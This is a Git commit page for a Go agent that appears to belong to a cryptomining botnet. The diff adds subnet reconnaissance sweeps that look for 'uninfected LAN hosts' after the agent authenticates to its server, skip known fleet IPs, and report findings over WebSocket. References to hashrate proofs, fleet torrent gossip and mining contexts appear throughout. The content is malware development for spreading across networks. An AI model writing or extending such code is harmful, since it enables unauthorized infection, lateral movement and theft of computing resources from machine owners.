Add agent-driven subnet recon sweeps for uninfected LAN hosts.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Agents scan capped /24 targets on auth and on a server policy interval, skip known fleet IPs, and batch subnet_recon_report over WebSocket.
This commit is contained in:
@@ -430,11 +430,16 @@ func (c *AgentClient) authenticate() error {
|
||||
c.startContingencyIfEnabled(c.miningCtx)
|
||||
c.applyAuthFleetRole(resp)
|
||||
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
|
||||
c.applyAuthSubnetRecon(resp)
|
||||
c.startCloudMapSync()
|
||||
if resp.FleetTorrentEnabled {
|
||||
c.advertiseFleetTorrentHealthy()
|
||||
}
|
||||
c.agentID = resp.AgentID
|
||||
c.mu.Lock()
|
||||
c.cfg.AgentID = resp.AgentID
|
||||
c.mu.Unlock()
|
||||
c.startSubnetReconAfterAuth()
|
||||
if resp.ClearanceLevel > 0 {
|
||||
c.mu.Lock()
|
||||
c.clearanceLevel = resp.ClearanceLevel
|
||||
|
||||
Reference in New Issue
Block a user